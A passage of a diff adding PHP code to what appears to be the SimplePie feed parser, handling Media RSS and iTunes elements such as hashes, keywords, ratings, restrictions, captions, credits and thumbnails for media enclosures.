+						$value = $this->sanitize($hash['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					if (isset($hash['attribs']['']['algo']))
+					{
+						$algo = $this->sanitize($hash['attribs']['']['algo'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					else
+					{
+						$algo = 'md5';
+					}
+					$hashes_parent[] = $algo.':'.$value;
+				}
+			}
+			elseif ($hashes_iterator = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'hash'))
+			{
+				foreach ($hashes_iterator as $hash)
+				{
+					$value = null;
+					$algo = null;
+					if (isset($hash['data']))
+					{
+						$value = $this->sanitize($hash['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					if (isset($hash['attribs']['']['algo']))
+					{
+						$algo = $this->sanitize($hash['attribs']['']['algo'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					else
+					{
+						$algo = 'md5';
+					}
+					$hashes_parent[] = $algo.':'.$value;
+				}
+			}
+			if (is_array($hashes_parent))
+			{
+				$hashes_parent = array_values(SimplePie_Misc::array_unique($hashes_parent));
+			}
+
+			// KEYWORDS
+			if ($keywords = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'keywords'))
+			{
+				if (isset($keywords[0]['data']))
+				{
+					$temp = explode(',', $this->sanitize($keywords[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT));
+					foreach ($temp as $word)
+					{
+						$keywords_parent[] = trim($word);
+					}
+				}
+				unset($temp);
+			}
+			elseif ($keywords = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'keywords'))
+			{
+				if (isset($keywords[0]['data']))
+				{
+					$temp = explode(',', $this->sanitize($keywords[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT));
+					foreach ($temp as $word)
+					{
+						$keywords_parent[] = trim($word);
+					}
+				}
+				unset($temp);
+			}
+			elseif ($keywords = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'keywords'))
+			{
+				if (isset($keywords[0]['data']))
+				{
+					$temp = explode(',', $this->sanitize($keywords[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT));
+					foreach ($temp as $word)
+					{
+						$keywords_parent[] = trim($word);
+					}
+				}
+				unset($temp);
+			}
+			elseif ($keywords = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'keywords'))
+			{
+				if (isset($keywords[0]['data']))
+				{
+					$temp = explode(',', $this->sanitize($keywords[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT));
+					foreach ($temp as $word)
+					{
+						$keywords_parent[] = trim($word);
+					}
+				}
+				unset($temp);
+			}
+			if (is_array($keywords_parent))
+			{
+				$keywords_parent = array_values(SimplePie_Misc::array_unique($keywords_parent));
+			}
+
+			// PLAYER
+			if ($player_parent = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'player'))
+			{
+				if (isset($player_parent[0]['attribs']['']['url']))
+				{
+					$player_parent = $this->sanitize($player_parent[0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI);
+				}
+			}
+			elseif ($player_parent = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'player'))
+			{
+				if (isset($player_parent[0]['attribs']['']['url']))
+				{
+					$player_parent = $this->sanitize($player_parent[0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI);
+				}
+			}
+
+			// RATINGS
+			if ($ratings = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'rating'))
+			{
+				foreach ($ratings as $rating)
+				{
+					$rating_scheme = null;
+					$rating_value = null;
+					if (isset($rating['attribs']['']['scheme']))
+					{
+						$rating_scheme = $this->sanitize($rating['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					else
+					{
+						$rating_scheme = 'urn:simple';
+					}
+					if (isset($rating['data']))
+					{
+						$rating_value = $this->sanitize($rating['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					$ratings_parent[] =& new $this->feed->rating_class($rating_scheme, $rating_value);
+				}
+			}
+			elseif ($ratings = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'explicit'))
+			{
+				foreach ($ratings as $rating)
+				{
+					$rating_scheme = 'urn:itunes';
+					$rating_value = null;
+					if (isset($rating['data']))
+					{
+						$rating_value = $this->sanitize($rating['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					$ratings_parent[] =& new $this->feed->rating_class($rating_scheme, $rating_value);
+				}
+			}
+			elseif ($ratings = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'rating'))
+			{
+				foreach ($ratings as $rating)
+				{
+					$rating_scheme = null;
+					$rating_value = null;
+					if (isset($rating['attribs']['']['scheme']))
+					{
+						$rating_scheme = $this->sanitize($rating['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					else
+					{
+						$rating_scheme = 'urn:simple';
+					}
+					if (isset($rating['data']))
+					{
+						$rating_value = $this->sanitize($rating['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					$ratings_parent[] =& new $this->feed->rating_class($rating_scheme, $rating_value);
+				}
+			}
+			elseif ($ratings = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'explicit'))
+			{
+				foreach ($ratings as $rating)
+				{
+					$rating_scheme = 'urn:itunes';
+					$rating_value = null;
+					if (isset($rating['data']))
+					{
+						$rating_value = $this->sanitize($rating['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					$ratings_parent[] =& new $this->feed->rating_class($rating_scheme, $rating_value);
+				}
+			}
+			if (is_array($ratings_parent))
+			{
+				$ratings_parent = array_values(SimplePie_Misc::array_unique($ratings_parent));
+			}
+
+			// RESTRICTIONS
+			if ($restrictions = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'restriction'))
+			{
+				foreach ($restrictions as $restriction)
+				{
+					$restriction_relationship = null;
+					$restriction_type = null;
+					$restriction_value = null;
+					if (isset($restriction['attribs']['']['relationship']))
+					{
+						$restriction_relationship = $this->sanitize($restriction['attribs']['']['relationship'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					if (isset($restriction['attribs']['']['type']))
+					{
+						$restriction_type = $this->sanitize($restriction['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					if (isset($restriction['data']))
+					{
+						$restriction_value = $this->sanitize($restriction['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					$restrictions_parent[] =& new $this->feed->restriction_class($restriction_relationship, $restriction_type, $restriction_value);
+				}
+			}
+			elseif ($restrictions = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'block'))
+			{
+				foreach ($restrictions as $restriction)
+				{
+					$restriction_relationship = 'allow';
+					$restriction_type = null;
+					$restriction_value = 'itunes';
+					if (isset($restriction['data']) && strtolower($restriction['data']) == 'yes')
+					{
+						$restriction_relationship = 'deny';
+					}
+					$restrictions_parent[] =& new $this->feed->restriction_class($restriction_relationship, $restriction_type, $restriction_value);
+				}
+			}
+			elseif ($restrictions = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'restriction'))
+			{
+				foreach ($restrictions as $restriction)
+				{
+					$restriction_relationship = null;
+					$restriction_type = null;
+					$restriction_value = null;
+					if (isset($restriction['attribs']['']['relationship']))
+					{
+						$restriction_relationship = $this->sanitize($restriction['attribs']['']['relationship'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					if (isset($restriction['attribs']['']['type']))
+					{
+						$restriction_type = $this->sanitize($restriction['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					if (isset($restriction['data']))
+					{
+						$restriction_value = $this->sanitize($restriction['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					$restrictions_parent[] =& new $this->feed->restriction_class($restriction_relationship, $restriction_type, $restriction_value);
+				}
+			}
+			elseif ($restrictions = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'block'))
+			{
+				foreach ($restrictions as $restriction)
+				{
+					$restriction_relationship = 'allow';
+					$restriction_type = null;
+					$restriction_value = 'itunes';
+					if (isset($restriction['data']) && strtolower($restriction['data']) == 'yes')
+					{
+						$restriction_relationship = 'deny';
+					}
+					$restrictions_parent[] =& new $this->feed->restriction_class($restriction_relationship, $restriction_type, $restriction_value);
+				}
+			}
+			if (is_array($restrictions_parent))
+			{
+				$restrictions_parent = array_values(SimplePie_Misc::array_unique($restrictions_parent));
+			}
+
+			// THUMBNAILS
+			if ($thumbnails = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'thumbnail'))
+			{
+				foreach ($thumbnails as $thumbnail)
+				{
+					if (isset($thumbnail['attribs']['']['url']))
+					{
+						$thumbnails_parent[] = $this->sanitize($thumbnail['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI);
+					}
+				}
+			}
+			elseif ($thumbnails = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'thumbnail'))
+			{
+				foreach ($thumbnails as $thumbnail)
+				{
+					if (isset($thumbnail['attribs']['']['url']))
+					{
+						$thumbnails_parent[] = $this->sanitize($thumbnail['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI);
+					}
+				}
+			}
+
+			// TITLES
+			if ($title_parent = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'title'))
+			{
+				if (isset($title_parent[0]['data']))
+				{
+					$title_parent = $this->sanitize($title_parent[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+				}
+			}
+			elseif ($title_parent = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'title'))
+			{
+				if (isset($title_parent[0]['data']))
+				{
+					$title_parent = $this->sanitize($title_parent[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+				}
+			}
+
+			// Clear the memory
+			unset($parent);
+
+			// Attributes
+			$bitrate = null;
+			$channels = null;
+			$duration = null;
+			$expression = null;
+			$framerate = null;
+			$height = null;
+			$javascript = null;
+			$lang = null;
+			$length = null;
+			$medium = null;
+			$samplingrate = null;
+			$type = null;
+			$url = null;
+			$width = null;
+
+			// Elements
+			$captions = null;
+			$categories = null;
+			$copyrights = null;
+			$credits = null;
+			$description = null;
+			$hashes = null;
+			$keywords = null;
+			$player = null;
+			$ratings = null;
+			$restrictions = null;
+			$thumbnails = null;
+			$title = null;
+
+			// If we have media:group tags, loop through them.
+			foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'group') as $group)
+			{
+				// If we have media:content tags, loop through them.
+				foreach ((array) $group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['content'] as $content)
+				{
+					if (isset($content['attribs']['']['url']))
+					{
+						// Attributes
+						$bitrate = null;
+						$channels = null;
+						$duration = null;
+						$expression = null;
+						$framerate = null;
+						$height = null;
+						$javascript = null;
+						$lang = null;
+						$length = null;
+						$medium = null;
+						$samplingrate = null;
+						$type = null;
+						$url = null;
+						$width = null;
+
+						// Elements
+						$captions = null;
+						$categories = null;
+						$copyrights = null;
+						$credits = null;
+						$description = null;
+						$hashes = null;
+						$keywords = null;
+						$player = null;
+						$ratings = null;
+						$restrictions = null;
+						$thumbnails = null;
+						$title = null;
+
+						// Start checking the attributes of media:content
+						if (isset($content['attribs']['']['bitrate']))
+						{
+							$bitrate = $this->sanitize($content['attribs']['']['bitrate'], SIMPLEPIE_CONSTRUCT_TEXT);
+						}
+						if (isset($content['attribs']['']['channels']))
+						{
+							$channels = $this->sanitize($content['attribs']['']['channels'], SIMPLEPIE_CONSTRUCT_TEXT);
+						}
+						if (isset($content['attribs']['']['duration']))
+						{
+							$duration = $this->sanitize($content['attribs']['']['duration'], SIMPLEPIE_CONSTRUCT_TEXT);
+						}
+						else
+						{
+							$duration = $duration_parent;
+						}
+						if (isset($content['attribs']['']['expression']))
+						{
+							$expression = $this->sanitize($content['attribs']['']['expression'], SIMPLEPIE_CONSTRUCT_TEXT);
+						}
+						if (isset($content['attribs']['']['framerate']))
+						{
+							$framerate = $this->sanitize($content['attribs']['']['framerate'], SIMPLEPIE_CONSTRUCT_TEXT);
+						}
+						if (isset($content['attribs']['']['height']))
+						{
+							$height = $this->sanitize($content['attribs']['']['height'], SIMPLEPIE_CONSTRUCT_TEXT);
+						}
+						if (isset($content['attribs']['']['lang']))
+						{
+							$lang = $this->sanitize($content['attribs']['']['lang'], SIMPLEPIE_CONSTRUCT_TEXT);
+						}
+						if (isset($content['attribs']['']['fileSize']))
+						{
+							$length = ceil($content['attribs']['']['fileSize']);
+						}
+						if (isset($content['attribs']['']['medium']))
+						{
+							$medium = $this->sanitize($content['attribs']['']['medium'], SIMPLEPIE_CONSTRUCT_TEXT);
+						}
+						if (isset($content['attribs']['']['samplingrate']))
+						{
+							$samplingrate = $this->sanitize($content['attribs']['']['samplingrate'], SIMPLEPIE_CONSTRUCT_TEXT);
+						}
+						if (isset($content['attribs']['']['type']))
+						{
+							$type = $this->sanitize($content['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT);
+						}
+						if (isset($content['attribs']['']['width']))
+						{
+							$width = $this->sanitize($content['attribs']['']['width'], SIMPLEPIE_CONSTRUCT_TEXT);
+						}
+						$url = $this->sanitize($content['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI);
+
+						// Checking the other optional media: elements. Priority: media:content, media:group, item, channel
+
+						// CAPTIONS
+						if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['text']))
+						{
+							foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['text'] as $caption)
+							{
+								$caption_type = null;
+								$caption_lang = null;
+								$caption_startTime = null;
+								$caption_endTime = null;
+								$caption_text = null;
+								if (isset($caption['attribs']['']['type']))
+								{
+									$caption_type = $this->sanitize($caption['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								if (isset($caption['attribs']['']['lang']))
+								{
+									$caption_lang = $this->sanitize($caption['attribs']['']['lang'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								if (isset($caption['attribs']['']['start']))
+								{
+									$caption_startTime = $this->sanitize($caption['attribs']['']['start'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								if (isset($caption['attribs']['']['end']))
+								{
+									$caption_endTime = $this->sanitize($caption['attribs']['']['end'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								if (isset($caption['data']))
+								{
+									$caption_text = $this->sanitize($caption['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								$captions[] =& new $this->feed->caption_class($caption_type, $caption_lang, $caption_startTime, $caption_endTime, $caption_text);
+							}
+							if (is_array($captions))
+							{
+								$captions = array_values(SimplePie_Misc::array_unique($captions));
+							}
+						}
+						elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['text']))
+						{
+							foreach ($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['text'] as $caption)
+							{
+								$caption_type = null;
+								$caption_lang = null;
+								$caption_startTime = null;
+								$caption_endTime = null;
+								$caption_text = null;
+								if (isset($caption['attribs']['']['type']))
+								{
+									$caption_type = $this->sanitize($caption['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								if (isset($caption['attribs']['']['lang']))
+								{
+									$caption_lang = $this->sanitize($caption['attribs']['']['lang'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								if (isset($caption['attribs']['']['start']))
+								{
+									$caption_startTime = $this->sanitize($caption['attribs']['']['start'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								if (isset($caption['attribs']['']['end']))
+								{
+									$caption_endTime = $this->sanitize($caption['attribs']['']['end'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								if (isset($caption['data']))
+								{
+									$caption_text = $this->sanitize($caption['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								$captions[] =& new $this->feed->caption_class($caption_type, $caption_lang, $caption_startTime, $caption_endTime, $caption_text);
+							}
+							if (is_array($captions))
+							{
+								$captions = array_values(SimplePie_Misc::array_unique($captions));
+							}
+						}
+						else
+						{
+							$captions = $captions_parent;
+						}
+
+						// CATEGORIES
+						if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['category']))
+						{
+							foreach ((array) $content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['category'] as $category)
+							{
+								$term = null;
+								$scheme = null;
+								$label = null;
+								if (isset($category['data']))
+								{
+									$term = $this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								if (isset($category['attribs']['']['scheme']))
+								{
+									$scheme = $this->sanitize($category['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								else
+								{
+									$scheme = 'http://search.yahoo.com/mrss/category_schema';
+								}
+								if (isset($category['attribs']['']['label']))
+								{
+									$label = $this->sanitize($category['attribs']['']['label'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								$categories[] =& new $this->feed->category_class($term, $scheme, $label);
+							}
+						}
+						if (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['category']))
+						{
+							foreach ((array) $group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['category'] as $category)
+							{
+								$term = null;
+								$scheme = null;
+								$label = null;
+								if (isset($category['data']))
+								{
+									$term = $this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								if (isset($category['attribs']['']['scheme']))
+								{
+									$scheme = $this->sanitize($category['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								else
+								{
+									$scheme = 'http://search.yahoo.com/mrss/category_schema';
+								}
+								if (isset($category['attribs']['']['label']))
+								{
+									$label = $this->sanitize($category['attribs']['']['label'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								$categories[] =& new $this->feed->category_class($term, $scheme, $label);
+							}
+						}
+						if (is_array($categories) && is_array($categories_parent))
+						{
+							$categories = array_values(SimplePie_Misc::array_unique(array_merge($categories, $categories_parent)));
+						}
+						elseif (is_array($categories))
+						{
+							$categories = array_values(SimplePie_Misc::array_unique($categories));
+						}
+						elseif (is_array($categories_parent))
+						{
+							$categories = array_values(SimplePie_Misc::array_unique($categories_parent));
+						}
+
+						// COPYRIGHTS
+						if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright']))
+						{
+							$copyright_url = null;
+							$copyright_label = null;
+							if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['attribs']['']['url']))
+							{
+								$copyright_url = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_TEXT);
+							}
+							if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['data']))
+							{
+								$copyright_label = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+							}
+							$copyrights =& new $this->feed->copyright_class($copyright_url, $copyright_label);
+						}
+						elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright']))
+						{
+							$copyright_url = null;
+							$copyright_label = null;
+							if (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['attribs']['']['url']))
+							{
+								$copyright_url = $this->sanitize($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_TEXT);
+							}
+							if (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['data']))
+							{
+								$copyright_label = $this->sanitize($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+							}
+							$copyrights =& new $this->feed->copyright_class($copyright_url, $copyright_label);
+						}
+						else
+						{
+							$copyrights = $copyrights_parent;
+						}
+
+						// CREDITS
+						if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['credit']))
+						{
+							foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['credit'] as $credit)
+							{
+								$credit_role = null;
+								$credit_scheme = null;
+								$credit_name = null;
+								if (isset($credit['attribs']['']['role']))
+								{
+									$credit_role = $this->sanitize($credit['attribs']['']['role'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								if (isset($credit['attribs']['']['scheme']))
+								{
+									$credit_scheme = $this->sanitize($credit['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								else
+								{
+									$credit_scheme = 'urn:ebu';
+								}
+								if (isset($credit['data']))
+								{
+									$credit_name = $this->sanitize($credit['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								$credits[] =& new $this->feed->credit_class($credit_role, $credit_scheme, $credit_name);
+							}
+							if (is_array($credits))
+							{
+								$credits = array_values(SimplePie_Misc::array_unique($credits));
+							}
+						}
+						elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['credit']))
+						{
+							foreach ($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['credit'] as $credit)
+							{
+								$credit_role = null;
+								$credit_scheme = null;
+								$credit_name = null;
+								if (isset($credit['attribs']['']['role']))
+								{
+									$credit_role = $this->sanitize($credit['attribs']['']['role'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								if (isset($credit['attribs']['']['scheme']))
+								{
+									$credit_scheme = $this->sanitize($credit['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								else
+								{
+									$credit_scheme = 'urn:ebu';
+								}
+								if (isset($credit['data']))
+								{
+									$credit_name = $this->sanitize($credit['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								$credits[] =& new $this->feed->credit_class($credit_role, $credit_scheme, $credit_name);
+							}
+							if (is_array($credits))
+							{
+								$credits = array_values(SimplePie_Misc::array_unique($credits));
+							}
+						}
+						else
+						{
+							$credits = $credits_parent;
+						}
+
+						// DESCRIPTION
+						if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['description']))
+						{
+							$description = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['description'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+						}
+						elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['description']))
+						{
+							$description = $this->sanitize($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['description'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+						}
+						else
+						{
+							$description = $description_parent;
+						}
+
+						// HASHES
+						if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['hash']))
+						{
+							foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['hash'] as $hash)
+							{
+								$value = null;
+								$algo = null;
+								if (isset($hash['data']))
+								{
+									$value = $this->sanitize($hash['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								if (isset($hash['attribs']['']['algo']))
+								{
+									$algo = $this->sanitize($hash['attribs']['']['algo'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								else
+								{
+									$algo = 'md5';
+								}
+								$hashes[] = $algo.':'.$value;
+							}
+							if (is_array($hashes))
+							{
+								$hashes = array_values(SimplePie_Misc::array_unique($hashes));
+							}
+						}
+						elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['hash']))
+						{
+							foreach ($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['hash'] as $hash)
+							{
+								$value = null;
+								$algo = null;
+								if (isset($hash['data']))
+								{
+									$value = $this->sanitize($hash['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								if (isset($hash['attribs']['']['algo']))
+								{
+									$algo = $this->sanitize($hash['attribs']['']['algo'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								else
+								{
+									$algo = 'md5';
+								}
+								$hashes[] = $algo.':'.$value;
+							}
+							if (is_array($hashes))
+							{
+								$hashes = array_values(SimplePie_Misc::array_unique($hashes));
+							}
+						}
+						else
+						{
+							$hashes = $hashes_parent;
+						}
+
+						// KEYWORDS
+						if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['keywords']))
+						{
+							if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['keywords'][0]['data']))
+							{
+								$temp = explode(',', $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['keywords'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT));
+								foreach ($temp as $word)
+								{
+									$keywords[] = trim($word);
+								}
+								unset($temp);
+							}
+							if (is_array($keywords))
+							{
+								$keywords = array_values(SimplePie_Misc::array_unique($keywords));
+							}
+						}
+						elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['keywords']))
+						{
+							if (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['keywords'][0]['data']))
+							{
+								$temp = explode(',', $this->sanitize($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['keywords'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT));
+								foreach ($temp as $word)
+								{
+									$keywords[] = trim($word);
+								}
+								unset($temp);
+							}
+							if (is_array($keywords))
+							{
+								$keywords = array_values(SimplePie_Misc::array_unique($keywords));
+							}
+						}
+						else
+						{
+							$keywords = $keywords_parent;
+						}
+
+						// PLAYER
+						if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['player']))
+						{
+							$player = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['player'][0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI);
+						}
+						elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['player']))
+						{
+							$player = $this->sanitize($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['player'][0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI);
+						}
+						else
+						{
+							$player = $player_parent;
+						}
+
+						// RATINGS
+						if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['rating']))
+						{
+							foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['rating'] as $rating)
+							{
+								$rating_scheme = null;
+								$rating_value = null;
+								if (isset($rating['attribs']['']['scheme']))
+								{
+									$rating_scheme = $this->sanitize($rating['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								else
+								{
+									$rating_scheme = 'urn:simple';
+								}
+								if (isset($rating['data']))
+								{
+									$rating_value = $this->sanitize($rating['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								$ratings[] =& new $this->feed->rating_class($rating_scheme, $rating_value);
+							}
+							if (is_array($ratings))
+							{
+								$ratings = array_values(SimplePie_Misc::array_unique($ratings));
+							}
+						}
+						elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['rating']))
+						{
+							foreach ($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['rating'] as $rating)
+							{
+								$rating_scheme = null;
+								$rating_value = null;
+								if (isset($rating['attribs']['']['scheme']))
+								{
+									$rating_scheme = $this->sanitize($rating['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								else
+								{
+									$rating_scheme = 'urn:simple';
+								}
+								if (isset($rating['data']))
+								{
+									$rating_value = $this->sanitize($rating['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								$ratings[] =& new $this->feed->rating_class($rating_scheme, $rating_value);
+							}
+							if (is_array($ratings))
+							{
+								$ratings = array_values(SimplePie_Misc::array_unique($ratings));
+							}
+						}
+						else
+						{
+							$ratings = $ratings_parent;
+						}
+
+						// RESTRICTIONS
+						if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['restriction']))
+						{
+							foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['restriction'] as $restriction)
+							{
+								$restriction_relationship = null;
+								$restriction_type = null;
+								$restriction_value = null;
+								if (isset($restriction['attribs']['']['relationship']))
+								{
+									$restriction_relationship = $this->sanitize($restriction['attribs']['']['relationship'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								if (isset($restriction['attribs']['']['type']))
+								{
+									$restriction_type = $this->sanitize($restriction['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								if (isset($restriction['data']))
+								{
+									$restriction_value = $this->sanitize($restriction['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								$restrictions[] =& new $this->feed->restriction_class($restriction_relationship, $restriction_type, $restriction_value);
+							}
+							if (is_array($restrictions))
+							{
+								$restrictions = array_values(SimplePie_Misc::array_unique($restrictions));
+							}
+						}
+						elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['restriction']))
+						{
+							foreach ($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['restriction'] as $restriction)
+							{
+								$restriction_relationship = null;
+								$restriction_type = null;
+								$restriction_value = null;
+								if (isset($restriction['attribs']['']['relationship']))
+								{
+									$restriction_relationship = $this->sanitize($restriction['attribs']['']['relationship'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								if (isset($restriction['attribs']['']['type']))
+								{
+									$restriction_type = $this->sanitize($restriction['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								if (isset($restriction['data']))
+								{
